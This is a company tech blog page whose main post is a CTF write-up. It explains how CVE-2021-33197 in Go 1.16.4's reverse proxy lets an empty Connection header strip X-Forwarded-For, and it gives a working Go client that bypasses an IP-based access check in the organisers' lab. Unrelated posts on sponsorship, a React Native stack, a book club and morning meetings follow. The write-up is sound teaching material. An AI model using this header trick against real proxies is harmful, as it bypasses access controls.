Go Conference 2021 Autumn CTF: Go 1.16.4 に含まれる脆弱性を突いてリバースプロキシを突破する

エンジニアの佐野です。Go Conference 2021 Autumn にて Kanmu はスポンサー枠をいただき、オフィスアワーの催しで Go x セキュリティというコンセプトの CTF のような問題を用意させていただきました。

問題はこちら "Go" beyond your proxy になります。

github.com

f:id:kanmu-tech:20211112223834p:plain The Go gopher was designed by Renee French.

当日解けなかった人やこのブログを読んで興味が沸いた人もチャレンジしてみてください。

問題を簡単に説明すると、 Go 1.16.4 で書かれたリバースプロキシの背後の HTTP サーバに flag.txt というファイルが置かれています。このファイルには簡単なアクセス制限が施されているのですが、それを突破してそのファイルの中身を参照して解答してください、というものになります。 Go 1.16.4 には CVE-2021-33197脆弱性が含まれていて Go の issue にも上がっています(次のバージョンである 1.16.5 で Fix されています)。この脆弱性を利用してアクセス制限を突破するというのが想定解法になります。

※ 蛇足になりますがこのようにアプリケーションレイヤーにて送信元IPでアクセスコントロールすることはおすすめしません

本記事では出題の意図、問題の解説と解き方、問題を作るときに考えていたことを書きます。

  • 出題の意図
  • 問題の解説と想定解法
  • 問題を作るときに考えていたこと
  • 小ネタ
  • おわりに

1. 出題の意図

出題の意図としては Go に潜むセキュリティ issue を知ってもらい、実際にその脆弱性を突いたハックを体験してもらうことになります。

この問題を通して、

  • Go 本体にセキュリティ issue が潜んでいることを知る
  • Go の標準ライブラリを読む

という経験を積んでもらえていたら幸いです。

1.1 Go 本体に潜むセキュリティ issue

Go 本体にもセキュリティ関連の issue は報告されていて随時その修正がされています。試しに Go のコミットログから "CVE" という文字列を検索してみます。

git log -i --grep 'cve' --oneline
61536ec030 debug/macho: fail on invalid dynamic symbol table command
77f2750f43 misc/wasm, cmd/link: do not let command line args overwrite global data
5abfd2379b [dev.fuzz] all: merge master (65f0d24) into dev.fuzz
bacbc33439 archive/zip: prevent preallocation check from overflowing
b7a85e0003 net/http/httputil: close incoming ReverseProxy request body
a98589711d crypto/tls: test key type when casting
aa4da4f189 [dev.cmdgo] all: merge master (912f075) into dev.cmdgo
ad7e5b219e [dev.typeparams] all: merge master (4711bf3) into dev.typeparams
f9d50953b9 net: fix failure of TestCVE202133195
0e39cdc0e9 [dev.typeparams] all: merge master (8212707) into dev.typeparams
106851ad73 [dev.fuzz] all: merge master (dd7ba3b) into dev.fuzz
dd7ba3ba2c net: don't rely on system hosts in TestCVE202133195
cdcd02842d net: verify results from Lookup* are valid domain names
950fa11c4c net/http/httputil: always remove hop-by-hop headers
74242baa41 archive/zip: only preallocate File slice if reasonably sized
c89f1224a5 net: verify results from Lookup* are valid domain names
a9cfd55e2b encoding/xml: replace comments inside directives with a space
4d014e7231 encoding/xml: handle leading, trailing, or double colons in names
d0b79e3513 encoding/xml: prevent infinite loop while decoding
cd3b4ca9f2 archive/zip: fix panic in Reader.Open
953d1feca9 all: introduce and use internal/execabs
46e2e2e9d9 cmd/go: pass resolved CC, GCCGO to cgo
d95ca91380 crypto/elliptic: fix P-224 field reduction
dea6d94a44 math/big: add test for recursive division panic
062e0e5ce6 cmd/go, cmd/cgo: don't let bogus symbol set cgo_ldflag
1e1fa5903b math/big: fix shift for recursive division
64fb6ae95f runtime: stop preemption during syscall.Exec on Darwin
4f5cd0c033 net/http/cgi,net/http/fcgi: add Content-Type detection
027d7241ce encoding/binary: read at most MaxVarintLen64 bytes in ReadUvarint
fa98f46741 net/http: synchronize "100 Continue" write and Handler writes
82175e699a crypto/x509: respect VerifyOptions.KeyUsages on Windows
b13ce14c4a src/go.mod: import x/crypto/cryptobyte security fix for 32-bit archs
953bc8f391 crypto/x509: mitigate CVE-2020-0601 verification bypass on Windows
552987fdbf crypto/dsa: prevent bad public keys from causing panic
41b1f88efa net/textproto: don't normalize headers with spaces before the colon
145e193131 net/http: update bundled golang.org/x/net/http2 to import security fix
61bb56ad63 net/url: make Hostname and Port predictable for invalid Host values
12279faa72 os: pass correct environment when creating Windows processes
9b6e9f0c8c runtime: safely load DLLs
193c16a364 crypto/elliptic: reduce subtraction term to prevent long busy loop
1102616c77 cmd/go: fix command injection in VCS path
1dcb5836ad cmd/go: accept only limited compiler and linker flags in #cgo directives
2d1bd1fe9d syscall: fix Exec on solaris
91139b87f7 runtime, syscall: workaround for bug in Linux's execve
8d1d9292ff syscall: document that Exec wraps execve(2)
cad4e97af8 [release-branch.go1.7] net/http, net/http/cgi: fix for CGI + HTTP_PROXY security issue
b97df54c31 net/http, net/http/cgi: fix for CGI + HTTP_PROXY security issue
84cfba17c2 runtime: don't always unblock all signals
eeb8d00c86 syscall: work around FreeBSD execve kernel bug

本問題の修正コミットである 950fa11c4c net/http/httputil: always remove hop-by-hop headers に加えて他の修正も多くヒットします。

ちなみにちょうど先日 Go 1.17.3, 1.16.10 がリリースされましたがこれらにもセキュリティ Fix が含まれていました。

セキュリティ関連のバグというと言語そのものよりもその言語を利用して実装されたウェブサーバやデータベースなどのミドルウェア、OS、その他ソフトウェアなどに注目しがちですが、言語自体にもセキュリティの問題は潜んでいることがあります。

私が書いた問題のコード自体にもバグはなかった(はず)です。しかしバグは Go の標準ライブラリの方に含まれている、というのがこの問題を解くポイントです。

1.2 Go の標準ライブラリを読む

issue とその修正 PR を見てみます。本問題の肝となっている issue とそれに対応する PR が下記なのですが、これらが問題を解くための最大のヒントになります。

github.com

github.com

詳しい解説は次の「問題の解説と想定解法」でしますが、この issue と修正コミットおよびそのテストコードから、

  • そもそも Connection ヘッダの仕様として、任意のヘッダ名を値に入れるとそのヘッダを消すことができる
  • 同じく Connection ヘッダの仕様として、Connection ヘッダは Proxy を経由する際にはそれ自体が削除される
  • しかし Go 1.16.4 では空の Connection ヘッダをリバースプロキシに送りつけるとそのまま背後のサーバに到達させることができる
  • Abusing HTTP hop-by-hop request headers という攻撃手法がある
  • 脆弱性を利用すると X-Forwarded-For を消すことができそうだ

といったことを読み取ることができます。本問題を解くためには Go の net/http/httputil パッケージとそのテストコードを少し読む必要があります。

2. 問題の解説と想定解法

私が想定した解答へのルートは次の流れの通りです。

  • サーバにリクエストを投げつつ問題のソースを読んでみる
  • Go のバージョンを特定する(気づく)
  • Go のバージョンに潜む脆弱性を確認して issue にたどり着く
  • issue の修正 PR や issue に貼られた Abusing hop by hop header を調べる
  • 空の Connection ヘッダとともに Connection: X-Forwarded-For を送りつける

「3. 問題を作るときに考えていたこと」で書きますが、挑戦者にいかにバージョンに目を付けてもらいどのように issue に誘導するか?というのが作問中の悩みでした。ヒントでいきなり issue を教えると簡単すぎる、しかし issue にたどり着けないと明後日の方向のアプローチをしてしまう。最初のヒントで Go 1.16.4 を強調したのはこのためです。

2.1 サーバにリクエストを投げつつ問題のソースを読んでみる

docker run でサーバを起動したら単純に 8000 番ポートにリクエストを投げてみます。以下のようなトレースが出力されます。

========================================================
Welcome to Kanmu Office hour @ Go Conference 2021 Autumn
"Go" beyond your proxy! Go version: go1.16.4
---------------- Front Proxy ----------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1

--- Front Proxy が受信した RemoteAddr ---
RemoteAddr: 172.17.0.1:58588

---------------- Middle Proxy ----------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
X-Forwarded-For: 172.17.0.1

--- Middle Proxy が受信した RemoteAddr ---
RemoteAddr: 127.0.0.1:38448

---------------- Backend Server ------------------
GET /flag.txt HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
X-Forwarded-For: 172.17.0.1, 127.0.0.1

--- Backend Server が受信した RemoteAddr ---
RemoteAddr: 127.0.0.1:51188

--- 最終的な X-Forwarded-For と送信元IP ---
X-Forwarded-For: 172.17.0.1, 127.0.0.1
Source IP: 172.17.0.1

残念!送信元IP が 127.0.0.1 になるようにリクエストを送ってください!(172.17.0.1 != 127.0.0.1)
==========================

トレースを見つつ、問題のソースを読んでみると backend に到達したときの Source IP が 127.0.0.1 であればフラグが取れるということがわかります。コードの解説と模式図はヒントに書いた通りです。

人によっては送信元IPを変更してリクエストを送信してみたり、X-Forwarded-For を送りつけてみたりしたかもしれませんが、問題のコード自体にはおそらくバグはないはずです。

2.2 Go のバージョンを特定する(気づく)

1.16.4 を使っていることに気づいてもらいます。docker run 実行時、ヒント、go.mod の中身などバージョンを知ることができる箇所はいくつかあります。

2.3 Go のバージョンに潜む脆弱性を確認して issue にたどり着く

こちらについては検索します。Go 1.16.4 について Google 検索, issue の探索, Goのリリースノートを調べるなどなんでも良いです。「検索かよ...」と思う人もいるかもしれませんが、使われているソフトウェアのバージョンを調べてそれに関する既知の問題を調べるのはオフェンシブセキュリティという文脈では正攻法の一つになります。

2.4 issue の修正 PR や issue に貼られた Abusing hop by hop header を調べる

Go 1.16.4 やリバースプロキシについて調べていると issue にたどり着くことができます。たどり着けずにヒントが出たことで辿れた人もいるかもしれません。たどり着いたら issue を読みます。

github.com

issue を見るとまず Connection ヘッダの説明が書かれています。プロキシによって Connection ヘッダは削除されること。また Connection ヘッダに値としてセットされているヘッダも同様に削除されること。そしてこの issue によると X-Forwarded-For のようなヘッダをドロップできるかもしれないと示唆するとともに、Abusing HTTP hop-by-hop request headers というタイトルの記事のリンクが貼られています。

そしてこの issue から辿れる PR にはこの issue の修正コミットとそのテストコードが追加されています。

github.com

テストコードを読んでみると frontend と backend 2つの HTTP サーバを起動しています。frontend は NewSingleHostReverseProxy を使ってバックエンドにリクエストを転送するような構成になっています。本問題では front, middle, backend の多段構成ですが、これと非常に似ています。

テストコードは何を確認しているでしょうか?テストするにあたり、空の値を持つ Connection ヘッダを送信していること、Connection ヘッダの値として X-Some-Conn-Header をセットして送信していることがわかります。そして Connection ヘッダとその値は backend では削除されることを確認しています。

そして当の標準ライブラリの修正はどうでしょうか?以下のあたりが消されていますね。

   for _, h := range hopHeaders {
        hv := outreq.Header.Get(h)
        if hv == "" {
            continue
        }
        if h == "Te" && hv == "trailers" {
            // Issue 21096: tell backend applications that
            // care about trailer support that we support
            // trailers. (We do, but we don't go out of
            // our way to advertise that unless the
            // incoming client request thought it was
            // worth mentioning)
            continue
        }
        outreq.Header.Del(h)
    }

これは hopHeaders (Connectionヘッダなど hop-by-hop header 一式が定義されている)の値を取得して削除するが、その値が空だったら削除しない、という処理をしています。つまり本来であれば Connection ヘッダは転送する際には削除するべきなのですが、空の値が含まれていたらそれは削除せずにそのまま転送するという処理になっていたようです。

2.5 空の Connection ヘッダとともに Connection: X-Forwarded-For を送りつける

ここまでで、

  • [仕様] Connection ヘッダはその値に含まれているヘッダを消す
  • [バグ] 普通は裏側には Connection ヘッダ自体を転送しないが、空の値を持たせると削除されずに転送してしまう

ということがわかりました。ということで以下のようなコードで空の Connection ヘッダと、 Connection: X-Forwarded-For を送ってみましょう。

package main

import (
        "bytes"
        "fmt"
        "io"
        "log"
        "net/http"
)

func main() {
        req, err := http.NewRequest("GET", "http://localhost:8000/flag.txt", nil)
        if err != nil {
                log.Fatal(err)
        }
        req.Header.Add("Connection", "")
        req.Header.Add("Connection", "X-Forwarded-For")

        client := &http.Client{}
        resp, err := client.Do(req)
        if err != nil {
                log.Fatal(err)
        }
        defer resp.Body.Close()

        bb := &bytes.Buffer{}
        io.Copy(bb, resp.Body)
        fmt.Println(bb.String())
}

あっさりフラグが取れました。Connection ヘッダが裏側まで届き、Connection: X-Forwarded-For が設定されていることで X-Forwarded-For が削除されました。

フラグはこのURLですね。本記事の冒頭の Gopher くんと正解のメッセージが現れます。

https://gocon2021autumn-ctf-flag.net/

3. 問題を作るときに考えていたこと

ここから先は裏話になります。このような問題を考えることは初めてだったのでいろいろ考えをする必要がありました。その際に考えていたことを書いてみます。要約すると次のようなことを考えながら問題および当日のヒントを考えました。

  • CTF といっても Go を中心にした問題にすること
  • 前回よりも少し難易度を高めること
  • 最終的に全員が解ける問題にすること
  • いかに Go 1.16.4 の issue に誘導するか

3.1 CTFといっても Go を中心にした問題にすること

Go Conference ということもあり基本的には Go の問題であるべきです。しかしながらそこにセキュリティを絡めた CTF のような問題を作れるだろうか?と悩みました。

先ほど、ソフトウェアのバージョンから既知の脆弱性を調べるのはセキュリティの攻撃の世界では正攻法であると書きました。なんか良いバグないかな?と Go のコミットログを眺めていたら割と最近でしかも扱いやすいリバースプロキシの修正コミットがありました。

この問題を作ることができたのはちょうど良い issue があったということに尽きます。他にもいくつか問題を考えたのですが、どうしても Go というよりは Linux のテクニックの問題になってしまったりしてちょうどいい問題を作るのにいくらか難儀しました。

3.2 前回よりも少し難易度を高めること

カンムは前回の Go Conference 2021 Spring でも CTF 様式の問題を出題しております。以下が前回の問題の解説記事なのですが、

tech.kanmu.co.jp

次回機会があれば strings だけでは倒せない歯ごたえがある問題も用意しようと思うので、今回興味を持ってもらえた方はぜひ CTF に入門して倒せるように鍛えてきてください!

と書き残していました。ということで今回は少し骨のある問題を用意しようと思って問題を作成しました。 Go のソースは読める+HTTPの知識がある程度ある人というレベル感にしましたが、HTTP と題材であるリバースプロキシの知識については知らない人であっても挑戦しやすいようにヒントに説明を書きました。あの説明で伝わっていれば幸いです。

3.3 最終的に全員が解ける問題にすること

本丸は登壇者のトークなのでそれを邪魔しない程度の分量、難易度にすべきと考えました。「ほーら、解けねーだろ(笑)」という問題ではなく、こちらがヒントを出して解答に誘導しつつも最終的には全員が解ける問題になるように作問しました。 重要なのは本問題を通して Go のセキュリティに関心を持ってもらうことと、Go の標準ライブラリのコードや issue を読むという体験をしてもらうことです。

3.4 いかに Go 1.16.4 の issue に誘導するか

作問中、そして本番での運営では、挑戦者にいかにバージョンに目を付けてもらいどのように issue に誘導するか?に頭を悩ませました。プロトタイプを CTO に解いてもらってのですが、最初にもらったフィードバックは、

  • 脆弱性を調べるという発想がないと明後日の方向のアプローチをしてしまいそう
  • ふつうの人は脆弱性を自主的に探しにいかなそう -とりあえず Go のソース読むかということで自分は進めたけど、まず初心者の人にはそこでとまってしまいそう
  • そもそも HTTP ヘッダーの仕組みを理解してるか、知っていたとして細工した HTTP リクエスト投げれるか
  • Issue とか全部英語なのでそこにもハードルがありそう

などでした。

当日の運営では開始直後にいきなりヒントを出し、そこでバージョンと脆弱性の存在を匂わせる形にしました。そこからタイムラインなどの様子を見て次のヒントを考えて誘導していこう、と話をしていました。

4. 小ネタ

4.1 コミットID

3319700 になっているのですがこれは CVE-2021-33197 に合わせました。

f:id:kanmu-tech:20211113131822p:plain

こちらのツールを使うことでコミットIDを好きなものに変更できます。

github.com

4.2 正解のページの Gopher くんは何?

わたしの手書きです。わたしがハッカーっぽい Gopher くんを書いて CTO がそれに魂を吹き込んでくれて本記事の冒頭にも載っている闇の底から覗く Gopher くんができあがりました。

f:id:kanmu-tech:20211113132835p:plain The Go gopher was designed by Renee French.

5. おわりに

Twitter などを見ると今回も多くの方に解いていただけました。作問担当としては感無量です!ありがとうございます!

そしてお約束の宣伝をさせてください。カンムでは Go やセキュリティに関心のあるエンジニア、もちろんそれ以外の職種も募集しております! kanmu.co.jp

GoCon の運営の皆様、参加してくださった皆様ありがとうございました!

おわり

カンムは Go Conference 2021 Autumn にスポンサーとして参加します #GoConference #gocon

こんにちは!カンムで採用担当をやっている @ayapoyo と申します(テックブログ初参戦です!)

11月13日は Go Conference 2021 Autumn の開催日ですね! 今回もたくさんの gopher とお話できることを楽しみにしております。

gocon.jp

シルバースポンサーやります ʕ◔ϖ◔ʔ

4月に開催された Go Conference 2021 Spring に引き続き、今回もスポンサーとして Go Conference に参加させていただきます!

カンムが展開する "バンドルカード" そして新規事業の "Pool" のバックエンドは Go メインで開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています 💳

kanmu.co.jp

COO がセッションに登壇します ʕ◔ϖ◔ʔ

今回の GoCon では、カンム COO の @_achiku が登壇します! 13:50 から Track A に登場しますので、みなさんぜひご覧ください!

gocon.jp

オフィスアワーで CTF を開催します ʕ◔ϖ◔ʔ

今回の GoCon も完全リモート開催!Remo で開催される オフィスアワー にてブースを出展させていただきます!

そして前回の GoCon で好評いただいた CTF 、今回も実施します!

Goで書かれたHTTPサーバのバグを見つけて秘密のファイルにアクセスしよう!

Goを読めてHTTPはちょっとわかるぞという人に向けて。問題は当日公開予定、ブースやTwitterで随時ヒントの発表や解説などを行います!

前回の問題と解説は こちら に掲載しています!GoCon 当日までに復習しておくのはいかがでしょうか?

このほかにも

  • カンムやバンドルカードについて聞いてみたい!
  • 登壇していたメンバーと話してみたい!
  • Go についてわいわい話したい!

などなども大歓迎です!Remo のブースに気軽に遊びに来てみてくださいね!

参加登録は connpass から ʕ◔ϖ◔ʔ

gocon.connpass.com

gopher のみなさんとお会いできることを楽しみにしております👋

カンムを支える技術 ~モバイルアプリ編~

カンムのCTOの伊藤です。

カンムではバンドルカード、そしてこれからリリース予定の pool https://pool-card.jp/ においても React Native を採用しています。 実際にどういった環境で開発運用をしているかについて簡単にご紹介します。

React Native の採用理由や経緯については React Native Matsuri 2021 で話したこちらの記事も参考にしてみてください。

speakerdeck.com

基本的な構成技術

  • React Native
  • Redux
  • Flow
  • Storybook
  • Firebase

開発の進め方

普段の開発は GitHub でタスク管理をし、PR を出してレビューするという一般的なスタイルです。 GitHub Projects を利用して進捗を管理していたり、他のチームに今後のリリースに含められる予定のものを共有する目的でアプリのリリースごとにマイルストーンを作成しています。

言語

言語はバンドルカードに関しては JavaScript + Flow 、pool は TypeScript を採用しています。 エコシステムの充実度や新しく入ってくるメンバーの経験などの理由からバンドルカードも TypeScript へ移行したいと考えています。

ビルド・リリース周り

ビルドやリリースに関しては基本的に fastlane で完結させ、それを Bitrise にて実行しています。二段階認証を使用しているApple Developerアカウントと連携することができるのでBitriseを選択しています。

App Store Connect 2FA solved on Bitrise | Bitrise

開発版の社内への配布は DeployGate を利用しています。

CI に関しては社内の既存のリソースとの兼ね合いで、テストや lint などは CircleCI を利用しています。

f:id:kanmu-tech:20211002143621p:plain

アプリのリリース自体はおおよそ週1のサイクルで行っており、コードフリーズをして必要なQAを行ってというサイクルで進めています。

API連携

バンドルカードにおいては、JSON Hyper-Schema から API クライアントの実装を自動生成しそれを利用しています。 バックエンドのAPIサーバーも同じスキーマからリクエスト/レスポンスの構造体やバリデーション実装を自動生成しています。 pool では OpenAPI を採用していますが、基本的にはバンドルカードと同様にクライアント・サーバーどちらもそのスキーマから自動生成しています。

テスト

ロジック部分のテストには Jest を利用しています。すべてを網羅できているわけではありませんが基本的に新規作成する際はテストを追加していくようにしています。
コンポーネントのテストに関しては Snapshot testing を行い、意図しない差分が出ていないかを確認しています。 E2E テストに関してはアプリのフローに SMS 認証が挟まる都合上実現できておらずどのように解決するかを模索中です。

Storybook

いわゆるUIコンポーネントカタログのような使い方をしています。デザイナーも Xcode を使用してアプリをビルドすることで Storybook を参照できるようにしており、いつでも実際の実装を確認することができます。Storybook を起動してもらう際にアップデートなどで様々なトラブルが発生しますが所持していない端末で確認できるようになったので結果的には良かったと思っています。
ライトに確認できるように将来的には社内用に独立したアプリとしてビルドしておきたいと考えてはいます。
使い回さないページなどのコンポーネントも全て Storybook 化しており、これに対して Snapshot testing を行っています。

エラートラッカー/クラッシュレポート

エラートラッキングには Sentry を利用しています。定期的に発生しているエラーをトリアージして issue に転記しながら優先順位をつけて随時対応していっています。 合わせて Firebase Crashlytics も利用しており、Firebase で記録しているイベントに紐付けられて便利なので Sentry の補助的な役割として使っています。

Firebase の他の機能

アプリの行動ログは Firebase Analytics で収集しています。react-navigation の遷移イベントをフックにページ遷移のトラッキングなどもしています。 他には Remote Config を A/B テストや、その他任意のタイミングで文言を切り替えたい場合などに利用しています。

その他

Expo は使っていないか?

バンドルカードを開発した当初 Expo はなかったためそのまま使用せず開発しており、必要に応じてモジュール単位で使用しています。

自前の Native Module はどのくらいあるか?

バンドルカードにおいて、スクリーンショットの制御周りと、ローカル認証の制御のためにすごく小さな Native Module 2 つ管理しています。 ネイティブの機能をゴリゴリ使いたいような類のアプリケーションではないので Native Module を書く機会はかなり少ないです。

おわりに

こう振り返ってみるとかなり素朴な構成でここまでやってきております。 長年運用してきている中での課題も色々見えて来ているというのが現状で、やりたいことは無限にあります。

カンムでは React Native で開発するエンジニアもそうでないエンジニアも絶賛募集しております

kanmu.co.jp

「UXライティングの教科書」の読書会を実施しました

デザイナーのtorimizunoです。 デザイナーメンバーで、今現在のスキルマップと今後できるようになりたいことの共有会を実施したところ、全員に「ライティング」が入っていたので、勉強のために読書会を立ち上げました。

f:id:kanmu-tech:20210913161657p:plain

カンムでは日々勉強会やデータ会などが開催されており、この記事ではその取り組みのひとつとして、今回の読書会を紹介します。

対象の本: UXライティングの教科書 ユーザーの心をひきつけるマイクロコピーの書き方

www.amazon.co.jp

進め方

開催するにあたり、まず会の目的と進め方を定義して参加メンバーに伝えました。

背景

  • アプリなどのプロダクトの文言決めについて、チーム内で議論をする場面が多々ある
  • マイクロコピーというライティングの分野があり、ユーザビリティや顧客エンゲージメントを向上させる文言についてのノウハウが蓄積されている

目的

  • ユーザビリティやUXを向上させる文言やそれを決めるためのノウハウを学習し、文言決めをスムーズに行えるようになる、またはアドバイスできるようになる

メンバー

  • 必須
    • デザイナーメンバー
  • 任意
    • 希望者

せっかくならデザイナー以外でも興味ある人なら誰でも参加していただきたいな…と声をかけたところ、COO・マーケティング・採用・エンジニア・bizdev・CSメンバーも参加の挙手をしてくれて、10人での参加になりました!

f:id:kanmu-tech:20210913160445p:plain

実施方法

初回は読書会参加メンバーの顔合わせも兼ねて背景・目的・実施方法について共有するキックオフを実施しました。 それ以降は下記の内容で各章を実施していきます。

  • 毎週当番が章の要点をまとめて発表・議論する(60min…早く終わり次第解散)
    • 業務に役立ちそうな知見 / 要約
    • 現状のプロダクトとの比較 / プロダクトで実践
    • よく理解できなかった点

また、すべての章が終わったタイミングで、振り返りを実施しました。 自分自身がカンムで読書会を主催するのがはじめてだったのもあり、会自体どうだったのか参加メンバーからの声を吸い上げたかった&参加者で共有したかった、今後の読書会に活かせるナレッジを全員で得られるようにしたかった…のが目的です。

実施してみて

最初にボイス&トーンの章があり、これらがユーザーに与える影響の大きさからライティングの大事さの認識を揃えた後、具体的なライティングの勉強について入る…という本の構成がよかったです。

次に参加者でブランド・ユーザー・現状について改めて議論できる機会があり、新しいメンバーが知らない過去のブランドで考えていたことを知れたり、現時点、今後の話もディスカッションできました。

▼ブランドを体現する言葉について議論したもの f:id:kanmu-tech:20210913160723p:plain

毎週の章では、内容の共有の他、現状プロダクトでどうなっているかを見つめ直し、教科書を踏まえた上でどうあるべきかを全員がその場で考えてディスカッションするムーブが自然発生していったのがとてもよかったと感じました。

プロダクト開発チームの垣根を越えそれぞれの職種ごとの視点の意見交換ができていて、もっとこういう機会を普段のプロダクト開発でも増やしたいなぁ…とも感じました。

▼ディスカッションのメモ f:id:kanmu-tech:20210913161437p:plain

読書会以外の時間でも実施した意味を感じていて、参加者の方とのMTG中に「UXライディングの教科書で登場した〜」というような、読書会から索引された内容の意見が飛び交う瞬間があり、言葉を考える時の判断材料のひとつに取り込まれていっているのを感じています。

読書会を通して、実際にプロダクトの改善施策も何個か走り、ダイアログ・プッシュ文言・新規登録時などのライティング改善にも活かされていっています。

本の自体の感想としては、「教科書」と名がついているのもあってライティングを考慮時に考えるべき視点を体型的に学ぶことができ、エラーメッセージなど細かい点も何を意識して考えるべきかがまとまっているので、デザインを考える上で手元に置いていつでも参照したい本のひとつになりました。

振り返りでの参加メンバーのコメント

  • 文言を考える指針ができたのでよかった
  • 各テーマ毎に視点を絞ってアプリを確認できた
  • 「UXライティングのアレ」みたいな会話でコンテキストを圧縮できているような気がする
  • 本は例がWeb寄り、アプリという限られたスペースを有効活用する場合はどうなるももっと知りたい
  • フリーディスカッションの時間もっと欲しかった
  • デザイナーが学びたいこと=割と誰でも役にたちそう
  • アクセシビリティの視点を持ってなかったので面白かった
  • いろんな人のプロダクトの現状イケてないポイントが知れたのはよかった

今後

振り返りで読書会のやり方自体についても議論があり、その点については本によっていろんな読書会のやり方が考えられそうだなと思いました。

読書会のやり方に対するメンバーのコメント

  • ひとりで読むと大変そうな厚い本の負担が分散できた
  • 要約が大変、でも要約すると考えは整理される、自分は要約だからできた
  • 引用が多いと読書会の意味を考えるが、後でesa(社内wiki)で読めるエッセンスとして見れる観点もある
  • やり方のフォーマットがあれば楽かもしれない
  • 本に載ってない知識を引っ張り出せたのがよかった

今後はこれらのコメントを参考に、また別の分野でも、読書会や勉強会を実施していきたいです!

カンムでは学習と共有に一緒に取り組む仲間を募集しています。

team.kanmu.co.jp

カンム流『朝会』をやってみたら予想以上にウケが良かった件

はじめに

f:id:kanmu-tech:20210910182508p:plain

こんにちは、カンムでバンドルカードの機械学習部分を担当しているfkubotaです。
今回は、カンムで行っている雑談朝会について書こうと思います。
いきなりですが朝会や雑談会などを普段やっていますか?
コロナの影響でリモートになって「コミュニケーションが足りてない!朝会やるぞ!」という感じではじめた会社、チームは多いのではないでしょうか。
僕も前職含めコロナで失われたコミュニケーションを取り戻したいというモチベーションの朝会に参加していました。
ただこの朝会、とても運用難しいですよね。
勢いよくはじめたものの「この会意味あるの?」 と各人が自問してしまうような会は多くあるはずです。
この記事ではリモートワークで失われてしまった愛すべき雑談を取り戻したいという思いではじめた朝会運用について紹介したいと思います。
僕は朝会は大きく分けて二種類あると考えています。

  • タスクの共有
  • コミュニケーションを増やす

今回紹介する朝会はコミュニケーションに比重を全振りしているので仕事の生産性がどうのこうのという話は一切出てきませんのでご了承ください。(巡り巡って生産性があがる可能性は十分ありますが)

朝会の運用は難しい

f:id:kanmu-tech:20210910182658p:plain ここで一度、朝会の難かしさと解決したい問題点を洗い出します。

  • 朝会パターン1: 業務報告会&ついでに雑談
    • これは一番多いパターンではないでしょうか。
    • 昨日やったこと、今日やること、困ってることを各自報告するようなパターンです。
    • 雑談あればついでにやるような感じです。
    • このパターンは慣れてくると「キノウハ、ナニナニシマシター。キョウモオナジデース。イジョウデース。」のようにこなすだけの形骸化した朝会になりがちです。周りの人も本当に真面目に聞いているのか怪しいところです。
    • 形骸化した朝会は早めに時間がすぎることが好ましいため雑談は減る傾向にあります。よって雑談は自然と少なくなるでしょう。
  • 朝会パターン2: 雑談会(強制参加)
    • 集まって雑談しようの会です。
    • 毎日同じメンバーで話すので雑談はすぐに尽きます。
    • よく喋る人がたくさん喋って聞き専みたいな人が生まれるのも必然かもしれません。
    • それとそもそもなのですが、雑談があまり得意でない人がいるのも考慮したいところです。
  • 朝会パターン3: 雑談会(任意)
    • 最初は盛り上がりますが、徐々に人が来なくなります。
    • きっと「数人いるなら入ろう」の精神の人が多いはずなので牽制しあって結局誰も入らないパターンですね。
    • 静かになくなっていく悲しい会になりやすいと思います。

なんとなく想像がついたところで上記から戦わなければいけない問題点を洗い出します。

  • 形骸化させない
  • 毎回同じメンバーにさせない
  • 強制参加にしない
  • 参加者はできるだけ発言できるようにする

これともう一つ要素を追加します。コロナ禍に転職した関係構築に四苦八苦しているであろう入社したての人への配慮も入れておきます。

  • 入社したての人への配慮 をする

考えた朝会のカタチ

f:id:kanmu-tech:20210910182831p:plain

それでは、上記の問題を同時に解決する策を数ヶ月コツコツと考えた結果を紹介します。
僕の中では紆余曲折あったのですが、結論だけ述べます。
以下のような方法を取っています。(Slack運用を想定)

  • pj-asakai などの朝会専用チャンネルを作成
  • 朝会に参加したい人はここに入る
  • 活動は、火曜日と木曜日の朝に15分
  • google meet を使用し、できるだけカメラONにしている
  • 聞き専はNG
  • 参加メンバー は多くても6人ぐらい <--- これ大事
    • 固定メンバー
      • 直近3ヶ月以内入社組(3, 4人程度想定)
      • ホスト1人
    • ランダムメンバー
      • チャンネルに所属しているメンバーからランダムに2人を選ぶ(SlackAppで実行。後ほど紹介します。)

こんな感じです。ランダムに選ばれるメンバーがいることが大事なポイントです。
(具体的な人数は組織の大きさなどに応じて適宜変える必要はあります)

さきほどあげた問題点と照らし合わせます

  • 形骸化させない
    • 週に2回15分だけなのでちょっと物足りないぐらいで終わる。(無言の気まずい時間が最小限)
    • メンバーが毎回変わる
  • 毎回同じメンバーにさせない
    • ランダム枠を用意している
  • 強制参加にしない
    • ランダムに選ばれる人は、pj-asakaiチャンネル に所属している人だけ なのでチャンネルに参加した人は参加したい意思表示をしたことになります。
    • チャンネルに参加しない限りランダムで選ばれることはありません。
  • 参加者はできるだけ発言できるようにする
    • 少人数制かつ聞き専NGなので話しやすい
  • 入社したての人への配慮 をする
    • 直近3ヶ月以内に入社した人は固定メンバーとしている
    • 社内の人なら誰でもOKなので普段仕事で関わらない人とも雑談を楽しめる

こんな感じです。あげた問題にしっかり対処できています! :)

やってみてどうだったか

このアイデアをながいこと温めてカンムで開催される月に1度の TechDayで発表しました。
共感してくれる人が多く、社員39名(2021年9月時点)のうち19人が朝会チャンネルにさっそく入ってくれました。
(こういうイベントに飛びつく人が多いのもカンムの楽しいところ)

評判は結構いいです。僕自身も雑談たくさんできてウキウキです。
特に直近入社組は仕事で関わらない人と雑談できるということで喜んでいただけているようです。
開始してまだ2ヶ月弱ですが今の所毎回大盛りあがりです。
マニアックな話題が出て時間足りないよーって感じで惜しく終わるのも続いているポイントなのかもしれません。

  • 話題例
    • メガネの話
    • 引っ越しの話
    • 今年のベストバイ!の話
    • などなど

会後のslackでワイワイも楽しいですね。

f:id:kanmu-tech:20210913173041p:plain


f:id:kanmu-tech:20210913173108p:plain


f:id:kanmu-tech:20210913173152p:plain

紹介は以上です。
結構楽しいので雑談会を定期的に実行したい場合は参考にしてみてください!

おまけ(ランダムにメンバー選ぶSlackApp)

ランダムにメンバーを選ぶ時にいろいろやり方があると思うのですが、カンムでは Picker というSlack Appを使っています。 使い方は簡単で
